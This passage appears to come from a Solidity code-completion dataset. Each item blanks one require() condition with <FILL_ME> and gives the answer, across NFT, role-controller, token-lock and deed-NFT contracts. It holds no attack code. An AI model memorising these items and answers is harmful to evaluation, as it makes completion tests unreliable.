* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
function setAllowToContract() external onlyOwner {
}
function setAllowTokenToContract(uint256 _tokenId, bool _allow) external onlyOwner {
}
function setAllowAddressToContract(address[] memory _address, bool[] memory _allow) external onlyOwner {
}
function setListWhitelistMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isInTheWhitelist(bytes32[] calldata _merkleProof) public view returns (bool) {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bytes32 leaf2 = keccak256(abi.encodePacked(tx.origin));
require(<FILL_ME>)
return true;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
function approve(address to, uint256 tokenId, bytes32[] calldata _merkleProof) public {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
function setApprovalForAll(address operator, bool approved, bytes32[] calldata _merkleProof) public {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
| MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoot,leaf)||MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoot,leaf2),"Invalid proof!" | 70,750 | MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoot,leaf)||MerkleProof.verify(_merkleProof,ListWhitelistMerkleRoot,leaf2) |
"U_A" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
require(<FILL_ME>)
_;
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
}
function addOracle(address _oracle , bool add) external onlyAdmin {
}
function addValidator(address _validator , bool add) external onlyAdmin {
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| isAdmin[_msgSender()]||owner()==_msgSender(),"U_A" | 70,770 | isAdmin[_msgSender()]||owner()==_msgSender() |
"already an admin" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
if (add) {
require(<FILL_ME>)
emit AdminAdded(_admin);
admins.push(_admin);
} else {
require(isAdmin[_admin] , "not an admin");
uint256 adminLength = admins.length;
for (uint256 index; index < adminLength ; index++) {
if (admins[index] == _admin) {
admins[index] = admins[adminLength - 1];
admins.pop();
}
}
emit AdminRemoved(_admin);
}
isAdmin[_admin] = add;
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
}
function addOracle(address _oracle , bool add) external onlyAdmin {
}
function addValidator(address _validator , bool add) external onlyAdmin {
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| !isAdmin[_admin],"already an admin" | 70,770 | !isAdmin[_admin] |
"not an admin" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
if (add) {
require(!isAdmin[_admin] , "already an admin");
emit AdminAdded(_admin);
admins.push(_admin);
} else {
require(<FILL_ME>)
uint256 adminLength = admins.length;
for (uint256 index; index < adminLength ; index++) {
if (admins[index] == _admin) {
admins[index] = admins[adminLength - 1];
admins.pop();
}
}
emit AdminRemoved(_admin);
}
isAdmin[_admin] = add;
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
}
function addOracle(address _oracle , bool add) external onlyAdmin {
}
function addValidator(address _validator , bool add) external onlyAdmin {
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| isAdmin[_admin],"not an admin" | 70,770 | isAdmin[_admin] |
"already a Registrer" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
if (add) {
require(<FILL_ME>)
emit RegistrarAdded(_registrar);
registrars.push(_registrar);
} else {
uint256 registrarLength = registrars.length;
require(isRegistrar[_registrar] , "not a Registrer");
for (uint256 index; index < registrarLength; index++) {
if (registrars[index] == _registrar) {
registrars[index] = registrars[registrarLength - 1];
registrars.pop();
}
}
emit RegistrarRemoved(_registrar);
}
isRegistrar[_registrar] = add;
}
function addOracle(address _oracle , bool add) external onlyAdmin {
}
function addValidator(address _validator , bool add) external onlyAdmin {
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| !isRegistrar[_registrar],"already a Registrer" | 70,770 | !isRegistrar[_registrar] |
"not a Registrer" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
if (add) {
require(!isRegistrar[_registrar] , "already a Registrer");
emit RegistrarAdded(_registrar);
registrars.push(_registrar);
} else {
uint256 registrarLength = registrars.length;
require(<FILL_ME>)
for (uint256 index; index < registrarLength; index++) {
if (registrars[index] == _registrar) {
registrars[index] = registrars[registrarLength - 1];
registrars.pop();
}
}
emit RegistrarRemoved(_registrar);
}
isRegistrar[_registrar] = add;
}
function addOracle(address _oracle , bool add) external onlyAdmin {
}
function addValidator(address _validator , bool add) external onlyAdmin {
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| isRegistrar[_registrar],"not a Registrer" | 70,770 | isRegistrar[_registrar] |
"already an oracle" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
}
function addOracle(address _oracle , bool add) external onlyAdmin {
if (add) {
require(<FILL_ME>)
emit OracleAdded(_oracle);
oracles.push(_oracle);
} else {
require(isOracle[_oracle] , "not an oracle");
uint256 oracleLength = oracles.length;
for (uint256 index; index < oracleLength ; index++) {
if (oracles[index] == _oracle) {
oracles[index] = oracles[oracleLength - 1];
oracles.pop();
}
}
emit OracleRemoved(_oracle);
}
isOracle[_oracle] = add;
}
function addValidator(address _validator , bool add) external onlyAdmin {
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| !isOracle[_oracle],"already an oracle" | 70,770 | !isOracle[_oracle] |
"not an oracle" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
}
function addOracle(address _oracle , bool add) external onlyAdmin {
if (add) {
require(!isOracle[_oracle] , "already an oracle");
emit OracleAdded(_oracle);
oracles.push(_oracle);
} else {
require(<FILL_ME>)
uint256 oracleLength = oracles.length;
for (uint256 index; index < oracleLength ; index++) {
if (oracles[index] == _oracle) {
oracles[index] = oracles[oracleLength - 1];
oracles.pop();
}
}
emit OracleRemoved(_oracle);
}
isOracle[_oracle] = add;
}
function addValidator(address _validator , bool add) external onlyAdmin {
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| isOracle[_oracle],"not an oracle" | 70,770 | isOracle[_oracle] |
"already a Validator" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
}
function addOracle(address _oracle , bool add) external onlyAdmin {
}
function addValidator(address _validator , bool add) external onlyAdmin {
if (add) {
require(<FILL_ME>)
emit ValidatorAdded(_validator);
validators.push(_validator);
} else {
require(isValidator[_validator] , "not a Validator");
uint256 validatorLength = validators.length;
for (uint256 index; index < validatorLength ; index++) {
if (validators[index] == _validator) {
validators[index] = validators[validatorLength - 1];
validators.pop();
}
}
emit ValidatorRemoved(_validator);
}
isValidator[_validator] = add;
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| !isValidator[_validator],"already a Validator" | 70,770 | !isValidator[_validator] |
"not a Validator" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Controller is Ownable {
mapping(address =>bool) public isAdmin;
mapping(address =>bool) public isRegistrar;
mapping(address =>bool) public isOracle;
mapping(address =>bool) public isValidator;
address[] public validators;
address[] public admins;
address[] public oracles;
address[] public registrars;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event RegistrarAdded(address indexed registrar);
event RegistrarRemoved(address indexed registrar);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyAdmin() {
}
constructor() {
}
function addAdmin(address _admin , bool add) public onlyOwner {
}
function addRegistrar(address _registrar , bool add) external onlyAdmin {
}
function addOracle(address _oracle , bool add) external onlyAdmin {
}
function addValidator(address _validator , bool add) external onlyAdmin {
if (add) {
require(!isValidator[_validator] , "already a Validator");
emit ValidatorAdded(_validator);
validators.push(_validator);
} else {
require(<FILL_ME>)
uint256 validatorLength = validators.length;
for (uint256 index; index < validatorLength ; index++) {
if (validators[index] == _validator) {
validators[index] = validators[validatorLength - 1];
validators.pop();
}
}
emit ValidatorRemoved(_validator);
}
isValidator[_validator] = add;
}
function validatorsCount() public view returns (uint256){
}
function oraclesCount() public view returns (uint256){
}
function adminsCount() public view returns (uint256){
}
function registrarsCount() public view returns (uint256){
}
}
| isValidator[_validator],"not a Validator" | 70,770 | isValidator[_validator] |
'tokens withdrawn' | pragma solidity ^0.6.0;
/**
* @title SafeBEP20
* @dev Wrappers around BEP20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IBEP20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IBEP20 token,
address from,
address to,
uint256 value
) internal {
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IBEP20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IBEP20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
}
}
pragma solidity 0.6.12;
contract LockContract is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
event LockCreated(uint256 id, address indexed user, address indexed token);
event LockWithdraw(uint256 id, address indexed user, address indexed token);
event IncreaseLockTime(uint256 id, address indexed user, address indexed token, uint256 time);
mapping(address => uint256[]) public userIds;
mapping (uint256 => Items) public lockedToken; // track all locks
address public treasury;
uint256 public requiredPayment = 0;
uint256 public id = 0;
bool public changeLockAbility = true;
constructor(address _treasury) public {
}
struct Items {
address tokenAddress; // LP or token addresss
address withdrawalAddress; // user address
uint256 tokenAmount; // amount deposited
uint256 unlockTime; // after how much time
bool withdrawn; // keep tracks of withdraw locks
}
function getIdData(uint256 _id) public view returns(Items memory){
}
function changeTreasury(address _treasury) public {
}
function changePayment(uint256 _amount) public {
}
// FUNCTION to lock funds
// othertoken is LP address or token
// otheramount is amount of LPs
// locktime is time in seconds
function lockFunds(address othertoken, uint256 otherAmount, uint256 lockTime) public payable {
}
function extendLock(uint256 newTimestamp, uint256 _id) public {
require(msg.sender == lockedToken[_id].withdrawalAddress, 'Not owner of the deposit');
require(<FILL_ME>)
require(newTimestamp > lockedToken[_id].unlockTime, 'invalid lock timestamp');
lockedToken[_id].unlockTime = newTimestamp;
emit IncreaseLockTime(_id, msg.sender, lockedToken[_id].tokenAddress, newTimestamp);
}
function withdrawFunds(uint256 _id) public {
}
function getIdsWithPagination(uint256 cursor, uint256 howMany, address _sender) public view returns(uint256[] memory values, uint256 newCursor){
}
}
| !lockedToken[_id].withdrawn,'tokens withdrawn' | 70,897 | !lockedToken[_id].withdrawn |
"PropyDeedNFT: invalid address controller" | // Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
// release-v3.2.0-solc-0.7 openzeppelin
import "../openzeppelin-contracts/contracts/token/ERC721/ERC721Pausable.sol";
import "../openzeppelin-contracts/contracts/utils/Counters.sol";
import "../openzeppelin-contracts/contracts/access/AccessControl.sol";
import "./interfaces/IAddressController.sol";
import "./interfaces/IERC2981.sol";
contract PropyDeedNFT is ERC721Pausable, AccessControl {
using Counters for Counters.Counter;
struct RoyaltyInfo {
address royaltyReceiver;
uint16 royaltyBasisPoints;
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); //mints tokens
Counters.Counter private tokenIdCounter;
IAddressController private addressController;
mapping(uint256 => bytes32) internal tokenHashes;
mapping(uint256 => RoyaltyInfo) internal tokenIdToRoyaltyInfo;
event AddressControllerChanged(address indexed who, address new_controller);
constructor(address _admin, address _addressController) ERC721("Propy Deed NFT", "pDeedNFT") {
}
modifier onlyAdmin() {
}
modifier onlyMinter() {
}
function mintWithURI(address _to, string memory _tokenURI, address _royaltyReceiver, uint16 _royaltyBasisPoints)
public onlyMinter
returns (uint256)
{
}
function mintWithHash(address _to, bytes32 _hash, address _royaltyReceiver, uint16 _royaltyBasisPoints)
public onlyMinter
returns (uint256)
{
}
function setAddressController(address _addressController) onlyAdmin public {
}
/**
* set contract on hold. Paused contract doesn't accepts Deposits but allows to withdraw funds.
*/
function pause() onlyAdmin public {
}
/**
* unpause the contract (enable deposit operations)
*/
function unpause() onlyAdmin public {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _mintInternal(address _recipient, address _royaltyReceiver, uint16 _royaltyBasisPoints) private
returns (uint256)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(<FILL_ME>)
require(addressController.isVerified(to), "PropyDeedNFT: Please proceed to https://propy.com/nft to verify your wallet");
}
/******************************** IPFS LIB ************************************/
// @title verifyIPFS
// @author Martin Lundfall ([email protected])
// @rewrited by Vakhtanh Chikhladze to new version solidity 0.8.0
bytes constant private sha256MultiHash = "\x12\x20";
bytes constant private ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
//@dev generates the corresponding IPFS hash (in base 58) to the given stroraged decoded hash
//@param contentString The content of the IPFS object
//@return The IPFS hash in base 58
function encode(bytes32 decodedHash) private pure returns (string memory) {
}
// @dev Converts hex string to base 58
/*
some comment-proof about array size of digits:
source is the number with base 256.
Example: for given input 0x414244 it can be presented as 0x41*256^2+0x42*256+0x44;
How many digits are needed to write such a number n in base 256?
(P.S. All all of the following formulas may be checked in WolframAlpha.)
We need rounded up logarithm of number n with base 256 , in formula presentation: roof(log(256,n))
Example: roof(log(256,0x414244))=|in decimal 0x414244=4276804|=roof(log(256,4276804))~=roof(2.4089)=3;
Encoding Base58 works with numbers in base 58.
Example: 0x414244 = 21 53 20 0 = 21*58^3 + 53*58^2 + 20*58+0
How many digits are needed to write such a number n in base 58?
We need rounded up logarithm of number n with base 58 , in formula presentation: roof(log(58,n))
Example: roof(log(58,0x414244))=|in decimal 0x414244=4276804|=roof(log(58,4276804))~=roof(3.7603)=4;
And the question is: How many times the number in base 58 will be bigger than number in base 256 represantation?
The aswer is lim n->inf log(58,n)/log(256,n)
lim n->inf log(58,n)/log(256,n)=[inf/inf]=|use hopitals rule|=(1/(n*ln(58))/(1/(n*ln(256))=
=ln(256)/ln(58)=log(58,256)~=1.36
So, log(58,n)~=1.36 * log(256,n); (1)
Therefore, we know the asymptoyic minimal size of additional memory of digits array, that shoud be used.
But calculated limit is asymptotic value. So it may be some errors like the size of n in base 58 is bigger than calculated value.
Hence, (1) will be rewrited as: log(58,n) = [log(256,n) * 136/100] + 1; (2)
,where square brackets [a] is valuable part of number [a]
In code exist @param digitlength which dinamically calculates the explicit size of digits array.
And there are correct statement that digitlength <= [log(256,n) * 136/100] + 1 .
*/
function toBase58(bytes memory source) private pure returns (string memory) {
}
function toBytes(bytes32 input) private pure returns (bytes memory) {
}
function truncate(uint8[] memory array, uint length) pure private returns (uint8[] memory) {
}
function reverse(uint8[] memory input) pure private returns (uint8[] memory) {
}
function toAlphabet(uint8[] memory indices) pure private returns (bytes memory) {
}
function concat(bytes memory byteArray1, bytes memory byteArray2) pure private returns (bytes memory) {
}
function concatStrings(string memory a,string memory b) private pure returns(string memory){
}
function to_binary(uint256 x) private pure returns (bytes memory) {
}
// We signify support for ERC2981, ERC721 & ERC721Metadata
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// ERC2981 logic
function updateRoyaltyInfo(uint256 _tokenId, address _royaltyReceiver, uint16 _royaltyBasisPoints) external onlyAdmin {
}
// Takes a _tokenId and _price (in wei) and returns the royalty receiver's address and how much of a royalty the royalty receiver is owed
function royaltyInfo(uint256 _tokenId, uint256 _price) external view returns (address receiver, uint256 royaltyAmount) {
}
// Represent percentages as basisPoints (i.e. 100% = 10000, 1% = 100)
function getPercentageOf(
uint256 _amount,
uint16 _basisPoints
) internal pure returns (uint256 value) {
}
}
| address(addressController)!=address(0),"PropyDeedNFT: invalid address controller" | 71,081 | address(addressController)!=address(0) |
"PropyDeedNFT: Please proceed to https://propy.com/nft to verify your wallet" | // Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
// release-v3.2.0-solc-0.7 openzeppelin
import "../openzeppelin-contracts/contracts/token/ERC721/ERC721Pausable.sol";
import "../openzeppelin-contracts/contracts/utils/Counters.sol";
import "../openzeppelin-contracts/contracts/access/AccessControl.sol";
import "./interfaces/IAddressController.sol";
import "./interfaces/IERC2981.sol";
contract PropyDeedNFT is ERC721Pausable, AccessControl {
using Counters for Counters.Counter;
struct RoyaltyInfo {
address royaltyReceiver;
uint16 royaltyBasisPoints;
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); //mints tokens
Counters.Counter private tokenIdCounter;
IAddressController private addressController;
mapping(uint256 => bytes32) internal tokenHashes;
mapping(uint256 => RoyaltyInfo) internal tokenIdToRoyaltyInfo;
event AddressControllerChanged(address indexed who, address new_controller);
constructor(address _admin, address _addressController) ERC721("Propy Deed NFT", "pDeedNFT") {
}
modifier onlyAdmin() {
}
modifier onlyMinter() {
}
function mintWithURI(address _to, string memory _tokenURI, address _royaltyReceiver, uint16 _royaltyBasisPoints)
public onlyMinter
returns (uint256)
{
}
function mintWithHash(address _to, bytes32 _hash, address _royaltyReceiver, uint16 _royaltyBasisPoints)
public onlyMinter
returns (uint256)
{
}
function setAddressController(address _addressController) onlyAdmin public {
}
/**
* set contract on hold. Paused contract doesn't accepts Deposits but allows to withdraw funds.
*/
function pause() onlyAdmin public {
}
/**
* unpause the contract (enable deposit operations)
*/
function unpause() onlyAdmin public {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _mintInternal(address _recipient, address _royaltyReceiver, uint16 _royaltyBasisPoints) private
returns (uint256)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(address(addressController) != address(0), "PropyDeedNFT: invalid address controller");
require(<FILL_ME>)
}
/******************************** IPFS LIB ************************************/
// @title verifyIPFS
// @author Martin Lundfall ([email protected])
